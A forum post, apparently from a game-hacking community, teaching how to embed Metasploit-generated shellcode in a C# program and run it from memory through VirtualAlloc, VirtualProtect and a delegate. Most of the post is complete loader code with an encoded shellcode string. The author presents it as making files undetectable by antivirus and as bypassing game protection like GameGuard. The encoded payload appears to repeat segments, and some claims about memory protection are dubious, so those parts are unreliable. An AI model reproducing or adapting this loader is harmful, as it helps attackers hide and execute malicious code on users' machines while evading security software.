I have yet to venture so far away from the browsergames section, where I am fairly well known for my software development. Whilst this is my first post so I have no idea if this has been posted before or even if this is the correct place to post it but I found it quite nifty.
The general idea is this. We first need some executable code, this can be anything from shellcode to a full blown Win32 executable. For the sake of this example, I'm going to use some shellcode generated by Metasploit from a normal C++ application. I won't go into the details of how to do this, thats for another tutorial. My shellcode looks like this:
Code:
PYIIIIIIIIIIIIIIII7QZjAXP0A0AkasAAQ2AB2BB0BBABXP8ABuJIil9xlIGpc030qpk9IuUaKbBDlK3bTpaDEEssca24bTLlKaBwdLKcB4hfo87rjwV019oVQkpllUlcQCLURVLEpza8Ofmc1hGZBJPaBBwNk3bdPLKBbwLs1N0LKsp48LEkpRTCzfahPbplKG8GhNkQHups1Kc8cWL2iLKFasjjdBpQP2pQxYztOYOM0ioXUJ7BJtERHEZGqeQ12rHWrc07pBpmYzF3ZB01FPWe8MIleT4u1Yon5K5O03DvlioRntH3EHlbHzPLuI2PVIo9ECZ30QztDRvCgBHuRJyiXSo9oYENk4vPjw0BHWpdPEPC00VcZGp0hrxoTscyuyoHUnsF31zUPcfCc67BHERII9XsoioHUEQhC4iO6mU9f3EjLZcAA551asAWW53awgZZsnwwplxxnvpQxYztOYOM0ioXUJ7BJtERHEZGqeQ12rHWrc07pBpmYzF3ZB01FPWe8MIleT4u1Yon5K
So then, back to the juicy stuff. Now it comes to the code. Whilst none of this is new stuff, this method does allow compilation on any upto date operating system that supports Powershell and can be used to bypass whatever you want! Our first step is to setup our references as well as get our DLL Imports done. We should end up with something like:
Code:
using System;
using System.Runtime.InteropServices;
namespace ProofOfConceptMemExec
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationConsts flAllocationType, MemoryProtectionConsts flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32")]
private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, FreeConsts dwFreeType);
[UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
public delegate Int32 ExecuteDelegate();
}
}
Code:
using System;
using System.Runtime.InteropServices;
namespace ProofOfConceptMemExec
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationConsts flAllocationType, MemoryProtectionConsts flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32")]
private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, FreeConsts dwFreeType);
[UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
public delegate Int32 ExecuteDelegate();
[Flags]
public enum AllocationConsts : uint
{
COMMIT = 0x1000,
RESERVE = 0x2000
}
[Flags]
public enum MemoryProtectionConsts : uint
{
EXECUTE = 0x10,
EXECUTE_READ = 0x20,
EXECUTE_READWRITE = 0x40,
NOACCESS = 0x01,
READONLY = 0x02,
READWRITE = 0x04
}
public enum FreeConsts : uint
{
MEM_RELEASE = 0x8000
}
}
}
Code:
using System;
using System.Runtime.InteropServices;
namespace ProofOfConceptMemExec
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationConsts flAllocationType, MemoryProtectionConsts flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32")]
private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, FreeConsts dwFreeType);
[UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
public delegate Int32 ExecuteDelegate();
[Flags]
public enum AllocationConsts : uint
{
COMMIT = 0x1000,
RESERVE = 0x2000
}
[Flags]
public enum MemoryProtectionConsts : uint
{
EXECUTE = 0x10,
EXECUTE_READ = 0x20,
EXECUTE_READWRITE = 0x40,
NOACCESS = 0x01,
READONLY = 0x02,
READWRITE = 0x04
}
public enum FreeConsts : uint
{
MEM_RELEASE = 0x8000
}
static void Main()
{
string exeCode = @"PYIIIIIIIIIIIIIIII7QZjAXP0A0AkasAAQ2AB2BB0BBABXP8ABuJIil9xlIGpc030qpk9IuUaKbBDlK3bTpaDEEssca24bTLlKaBwdLKcB4hfo87rjwV019oVQkpllUlcQCLURVLEpza8Ofmc1hGZBJPaBBwNk3bdPLKBbwLs1N0LKsp48LEkpRTCzfahPbplKG8GhNkQHups1Kc8cWL2iLKFasjjdBpQP2pQxYztOYOM0ioXUJ7BJtERHEZGqeQ12rHWrc07pBpmYzF3ZB01FPWe8MIleT4u1Yon5K5O03DvlioRntH3EHlbHzPLuI2PVIo9ECZ30QztDRvCgBHuRJyiXSo9oYENk4vPjw0BHWpdPEPC00VcZGp0hrxoTscyuyoHUnsF31zUPcfCc67BHERII9XsoioHUEQhC4iO6mU9f3EjLZcAA551asAWW53awgZZsnwwplxxnvpQxYztOYOM0ioXUJ7BJtERHEZGqeQ12rHWrc07pBpmYzF3ZB01FPWe8MIleT4u1Yon5K";
byte[] code = new byte[exeCode.Length];
for (int i = 0; i < exeCode.Length; i++)
{
code[i] = Convert.ToByte(exeCode[i]);
}
IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(code.Length + 1), AllocationConsts.RESERVE | AllocationConsts.COMMIT, MemoryProtectionConsts.EXECUTE_READWRITE);
try
{
Marshal.Copy(code, 0, baseAddr, code.Length);
var func = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate));
func();
}
finally
{
VirtualFree(baseAddr, 0, FreeConsts.MEM_RELEASE);
}
Console.Read();
}
}
}
And there you have it! Executable code embedded in a C# assembly executing from memory. DEP doesn't seem to do much about this either. Using that works however there are a few little things we can do to make it more "secure". First we can tell the code to be "execute only" which means that other (unprivledged) processes can't read or write to our memory location. To do that, the code would look like:
Code:
using System;
using System.Runtime.InteropServices;
namespace ProofOfConceptMemExec
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationConsts flAllocationType, MemoryProtectionConsts flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32")]
private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, FreeConsts dwFreeType);
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, MemoryProtectionConsts flNewProtect, out MemoryProtectionConsts lpflOldProtect);
[UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
public delegate Int32 ExecuteDelegate();
[Flags]
public enum AllocationConsts : uint
{
COMMIT = 0x1000,
RESERVE = 0x2000
}
[Flags]
public enum MemoryProtectionConsts : uint
{
EXECUTE = 0x10,
EXECUTE_READ = 0x20,
EXECUTE_READWRITE = 0x40,
NOACCESS = 0x01,
READONLY = 0x02,
READWRITE = 0x04
}
public enum FreeConsts : uint
{
MEM_RELEASE = 0x8000
}
static void Main()
{
string exeCode = @"PYIIIIIIIIIIIIIIII7QZjAXP0A0AkasAAQ2AB2BB0BBABXP8ABuJIil9xlIGpc030qpk9IuUaKbBDlK3bTpaDEEssca24bTLlKaBwdLKcB4hfo87rjwV019oVQkpllUlcQCLURVLEpza8Ofmc1hGZBJPaBBwNk3bdPLKBbwLs1N0LKsp48LEkpRTCzfahPbplKG8GhNkQHups1Kc8cWL2iLKFasjjdBpQP2pQxYztOYOM0ioXUJ7BJtERHEZGqeQ12rHWrc07pBpmYzF3ZB01FPWe8MIleT4u1Yon5K5O03DvlioRntH3EHlbHzPLuI2PVIo9ECZ30QztDRvCgBHuRJyiXSo9oYENk4vPjw0BHWpdPEPC00VcZGp0hrxoTscyuyoHUnsF31zUPcfCc67BHERII9XsoioHUEQhC4iO6mU9f3EjLZcAA551asAWW53awgZZsnwwplxxnvpQxYztOYOM0ioXUJ7BJtERHEZGqeQ12rHWrc07pBpmYzF3ZB01FPWe8MIleT4u1Yon5K";
byte[] code = new byte[exeCode.Length];
for (int i = 0; i < exeCode.Length; i++)
{
code[i] = Convert.ToByte(exeCode[i]);
}
IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(code.Length + 1), AllocationConsts.RESERVE | AllocationConsts.COMMIT, MemoryProtectionConsts.EXECUTE_READWRITE);
try
{
Marshal.Copy(code, 0, baseAddr, code.Length);
uint oldProt;
VirtualProtect(baseAddr, (uint)(code.Length + 1), MemoryProtectionConsts.EXECUTE, out oldProt);
var func = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate));
func();
}
finally
{
VirtualFree(baseAddr, 0, FreeConsts.MEM_RELEASE);
}
Console.Read();
}
}
}
And that's it!! You now have a completely undetectable file (as far as executable scanning virus scanners are concerned), and should bypass most file scanning game protection suits. I'll keep this upto date as more and more "advances" are made on my end. Currently I have a fair few proof of concept 0day bypasses for GameGuard but I'm not willing to share them in a public forum as they will be patched almost instantly! If anyone "higher up" wants to contact me, I'd be happy to provide some details.
Enjoy
-jD






